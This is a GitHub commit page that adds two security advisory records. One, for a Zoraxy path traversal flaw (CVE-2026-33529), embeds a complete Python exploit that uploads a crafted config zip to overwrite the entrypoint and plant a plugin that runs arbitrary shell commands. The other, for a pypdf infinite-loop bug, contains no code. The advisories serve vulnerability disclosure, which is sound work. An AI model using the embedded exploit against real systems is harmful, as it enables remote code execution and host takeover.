Skip to content

Commit 5c91f70

Browse files
1 parent c510615 commit 5c91f70

2 files changed

Lines changed: 130 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7pq3-326h-f8q9",
4+
"modified": "2026-03-25T20:04:44Z",
5+
"published": "2026-03-25T20:04:44Z",
6+
"aliases": [
7+
"CVE-2026-33529"
8+
],
9+
"summary": "Zoraxy: Authenticated Path Traversal in Config Import leads to RCE",
10+
"details": "# Authenticated Path Traversal to RCE via Configuration Import\n\n## Summary\n\nAn authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.\n\n## Details\n\nThe vulnerable endpoint is `POST /api/conf/import`.\n\nThe zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`:\n\n```\nconf/..././..././entrypoint.py\n → ReplaceAll(\"../\", \"\") (match found at index 1 of \"..././\", leaving \"../\")\n → conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/\n```\n\nUsing this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.\nWhen the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).\nAs a result, the container was manually restarted for the PoC to work.\n\n## PoC\n\n```python\nimport argparse\nimport io\nimport json\nimport re\nimport sys\nimport zipfile\n\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nINTRO_SPEC_JSON = json.dumps({\n \"id\": \"com.attacker.evil\",\n \"name\": \"System Updater\",\n \"author\": \"System\",\n \"author_contact\": \"\",\n \"description\": \"Internal system update module\",\n \"url\": \"\",\n \"ui_path\": \"/ui\",\n \"type\": 1,\n \"version_major\": 1,\n \"version_minor\": 0,\n \"version_patch\": 0,\n \"permitted_api_endpoints\": [],\n})\n\nLINUX_START_SH = \"\"\"\\\n#!/bin/sh\nINTRO_SPEC='{intro_spec}'\n\nrun_payload() {{\n{payload_lines}\n}}\n\ncase \"$1\" in\n -introspect)\n run_payload\n printf '%s\\\\n' \"$INTRO_SPEC\"\n exit 0\n ;;\n -configure=*)\n run_payload\n while true; do sleep 3600; done\n ;;\nesac\n\"\"\"\n\nMALICIOUS_ENTRYPOINT_PY = \"\"\"\\\n#!/usr/bin/env python3\nimport os, subprocess, signal, sys, time\n\ntry:\n subprocess.run({cmd_list}, shell=False)\nexcept Exception:\n pass\n\ntry:\n os.chmod(\"/opt/zoraxy/plugin/evil/start.sh\", 0o755)\nexcept Exception:\n pass\n\nzoraxy_proc = None\nzerotier_proc = None\n\ndef getenv(key, default=None):\n return os.environ.get(key, default)\n\ndef run(command):\n try:\n subprocess.run(command, check=True)\n except subprocess.CalledProcessError as e:\n print(f\"Command failed: {command} - {e}\")\n sys.exit(1)\n\ndef popen(command):\n proc = subprocess.Popen(command)\n time.sleep(1)\n if proc.poll() is not None:\n print(f\"{command} exited early with code {proc.returncode}\")\n raise RuntimeError(f\"Failed to start {command}\")\n return proc\n\ndef cleanup(_signum, _frame):\n global zoraxy_proc, zerotier_proc\n if zoraxy_proc and zoraxy_proc.poll() is None:\n zoraxy_proc.terminate()\n if zerotier_proc and zerotier_proc.poll() is None:\n zerotier_proc.terminate()\n if zoraxy_proc:\n try:\n zoraxy_proc.wait(timeout=8)\n except subprocess.TimeoutExpired:\n zoraxy_proc.kill()\n zoraxy_proc.wait()\n if zerotier_proc:\n try:\n zerotier_proc.wait(timeout=8)\n except subprocess.TimeoutExpired:\n zerotier_proc.kill()\n zerotier_proc.wait()\n try:\n os.unlink(\"/var/lib/zerotier-one\")\n except Exception:\n pass\n sys.exit(0)\n\ndef start_zerotier():\n global zerotier_proc\n config_dir = \"/opt/zoraxy/config/zerotier/\"\n zt_path = \"/var/lib/zerotier-one\"\n os.makedirs(config_dir, exist_ok=True)\n try:\n os.symlink(config_dir, zt_path, target_is_directory=True)\n except FileExistsError:\n pass\n zerotier_proc = popen([\"zerotier-one\"])\n\ndef start_zoraxy():\n global zoraxy_proc\n zoraxy_args = [\n \"zoraxy\",\n f\"-autorenew={getenv('AUTORENEW', '86400')}\",\n f\"-cfgupgrade={getenv('CFGUPGRADE', 'true')}\",\n f\"-db={getenv('DB', 'auto')}\",\n f\"-docker={getenv('DOCKER', 'true')}\",\n f\"-earlyrenew={getenv('EARLYRENEW', '30')}\",\n f\"-enablelog={getenv('ENABLELOG', 'true')}\",\n f\"-fastgeoip={getenv('FASTGEOIP', 'false')}\",\n f\"-mdns={getenv('MDNS', 'true')}\",\n f\"-mdnsname={getenv('MDNSNAME', \\\"''\\\")}\",\n f\"-noauth={getenv('NOAUTH', 'false')}\",\n f\"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}\",\n f\"-port=:{getenv('PORT', '8000')}\",\n f\"-sshlb={getenv('SSHLB', 'false')}\",\n f\"-version={getenv('VERSION', 'false')}\",\n f\"-webroot={getenv('WEBROOT', './www')}\",\n ]\n zoraxy_proc = popen(zoraxy_args)\n\ndef main():\n signal.signal(signal.SIGTERM, cleanup)\n signal.signal(signal.SIGINT, cleanup)\n run([\"update-ca-certificates\"])\n if getenv(\"UPDATE_GEOIP\", \"false\").lower() == \"true\":\n run([\"zoraxy\", \"-update_geoip=true\"])\n os.chdir(\"/opt/zoraxy/config/\")\n if getenv(\"ZEROTIER\", \"false\") == \"true\":\n start_zerotier()\n start_zoraxy()\n signal.pause()\n\nif __name__ == \"__main__\":\n main()\n\"\"\"\n\n\ndef get_csrf(host: str, session: requests.Session) -> tuple:\n r = session.get(f\"{host}/login.html\", timeout=10, verify=False)\n m = re.search(r'<meta[^>]+name=[\"\\']zoraxy\\.csrf\\.Token[\"\\'][^>]+content=[\"\\']([^\"\\']+)[\"\\']', r.text)\n if not m:\n m = re.search(r'<meta[^>]+content=[\"\\']([^\"\\']+)[\"\\'][^>]+name=[\"\\']zoraxy\\.csrf\\.Token[\"\\']', r.text)\n token = m.group(1) if m else r.headers.get(\"X-CSRF-Token\", \"\")\n return token, f\"{host}/login.html\"\n\n\ndef authenticate(host: str, username: str, password: str,\n session: requests.Session) -> bool:\n csrf, referer = get_csrf(host, session)\n print(f\" CSRF token -> {csrf!r}\")\n r = session.post(\n f\"{host}/api/auth/login\",\n data={\"username\": username, \"password\": password},\n headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n timeout=10, verify=False,\n )\n print(f\" Login -> HTTP {r.status_code} {r.text[:120]!r}\")\n return r.status_code == 200 and r.text.strip().strip('\"').lower() in (\"ok\", \"true\")\n\n\ndef upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:\n csrf, referer = get_csrf(host, session)\n r = session.post(\n f\"{host}/api/conf/import\",\n files={\"file\": (\"backup.zip\", zip_bytes, \"application/zip\")},\n headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n timeout=30, verify=False,\n )\n return r.status_code, r.text\n\n\ndef export_config(host: str, session: requests.Session) -> bytes | None:\n r = session.get(\n f\"{host}/api/conf/export?includeDB=true\",\n timeout=60, verify=False,\n )\n if r.status_code == 200 and len(r.content) > 100:\n return r.content\n return None\n\n\ndef build_zip(cmd: str, export_zip: bytes) -> bytes:\n traversal_ep = \"conf/..././..././entrypoint.py\"\n traversal_sh = \"conf/..././..././plugin/evil/start.sh\"\n\n payload_lines = \"\\n\".join(f\" {line}\" for line in cmd.splitlines()) or \" id > /tmp/pwned.txt\"\n start_sh = LINUX_START_SH.format(\n intro_spec=INTRO_SPEC_JSON.replace(\"'\", \"'\\\\''\"),\n payload_lines=payload_lines,\n )\n malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace(\"{cmd_list}\", repr([\"sh\", \"-c\", cmd]))\n\n buf = io.BytesIO()\n with zipfile.ZipFile(io.BytesIO(export_zip), \"r\") as src:\n with zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf:\n for item in src.infolist():\n zf.writestr(item, src.read(item.filename))\n zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())\n zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())\n buf.seek(0)\n return buf.read()\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser(\n description=\"Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip\",\n )\n parser.add_argument(\"--host\", help=\"Target, e.g. http://192.168.1.10:8000\")\n parser.add_argument(\"--user\", default=\"admin\")\n parser.add_argument(\"--pass\", dest=\"password\", default=None)\n parser.add_argument(\"--cmd\", default=\"id > /tmp/pwned.txt\",\n help=\"Shell command to embed in the payload\")\n args = parser.parse_args()\n\n if not args.host or not args.password:\n parser.error(\"--host and --pass are required\")\n host = args.host.rstrip(\"/\")\n\n print(f\"\\n[1] Authenticating as '{args.user}' at {host} ...\")\n session = requests.Session()\n if not authenticate(host, args.user, args.password, session):\n print(\"[-] Authentication failed.\")\n sys.exit(1)\n print(\"[+] Authenticated.\")\n\n print(f\"\\n[2] Exporting live config ...\")\n export_zip = export_config(host, session)\n if not export_zip:\n print(\"[-] Config export failed.\")\n sys.exit(1)\n print(\"\\n[3] Building malicious zip ...\")\n zip_bytes = build_zip(args.cmd, export_zip)\n print(f\"[+] Zip size: {len(zip_bytes):,} bytes\")\n\n print(f\"\\n[4] Uploading via POST {host}/api/conf/import ...\")\n code, body = upload_zip(host, session, zip_bytes)\n print(f\" HTTP {code} {body[:200]!r}\")\n if code != 200:\n print(\"[-] Upload failed.\")\n sys.exit(1)\n print(\"[+] Files written\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n## Impact\n\nArbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/tobychui/zoraxy"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.3.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/tobychui/zoraxy/security/advisories/GHSA-7pq3-326h-f8q9"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/tobychui/zoraxy/commit/69ac755aeec5d15ba4c62099f7f1ed77a855b40b"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/tobychui/zoraxy"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/tobychui/zoraxy/releases/tag/v3.3.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-22"
59+
],
60+
"severity": "LOW",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T20:04:44Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-87mj-5ggw-8qc3",
4+
"modified": "2026-03-25T20:05:22Z",
5+
"published": "2026-03-25T20:05:22Z",
6+
"aliases": [
7+
"CVE-2026-33699"
8+
],
9+
"summary": "pypdf: Possible infinite loop during recovery attempts in DictionaryObject.read_from_stream",
10+
"details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires reading a file in non-strict mode.\n\n### Patches\n\nThis has been fixed in [pypdf==6.9.2](https://github.com/py-pdf/pypdf/releases/tag/6.9.2).\n\n### Workarounds\n\nIf users cannot upgrade yet, consider applying the changes from PR [#3693](https://github.com/py-pdf/pypdf/pull/3693).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "pypdf"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "6.9.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-87mj-5ggw-8qc3"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/py-pdf/pypdf/pull/3693"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/py-pdf/pypdf"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.9.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-835"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T20:05:22Z",
63+
"nvd_published_at": null
64+
}
65+
}

0 commit comments

Comments
 (0)